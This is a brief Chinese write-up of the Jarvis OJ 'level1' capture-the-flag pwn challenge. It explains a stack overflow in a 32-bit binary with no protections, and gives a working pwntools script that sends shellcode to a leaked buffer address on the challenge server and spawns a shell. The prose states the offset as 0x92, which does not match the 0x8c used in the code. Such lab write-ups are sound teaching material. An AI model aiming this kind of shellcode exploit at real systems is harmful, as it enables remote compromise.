Pwn-level1

题目地址

https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5

先看一下文件的类型和保护机制   32位的ELF

没有保护

 

用IDA打开看看,没有发现可以直接利用的函数,但是有一个vulnerable_function函数

由于没有NX的保护,我们可以将输入一段shellcode在buf中,函数返回时跳转到buf位置,就可以执行shellcode

 我们先看一下buf到ret的偏移

0x4到-0x88 一共偏移了0x92

 

 现在我们还需要一个buf的地址

执行这个文件的时候,会跳出一个地址,这个就是buf的地址

利用pwntool来编写exp

from pwn import *
r = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh()) //通过pwntool的函数获取shell
buffer=r.recvline()[14:-2]  //切片,用于截取字符串里面的地址 ff890e80
buf_addr = int(buffer,16)
payload = 'a' * (0x88+0x4-len(shellcode))+shellcode + p32(buf_addr)
r.sendline(payload)
r.interactive()



猜你喜欢

转载自www.cnblogs.com/gaonuoqi/p/11636035.html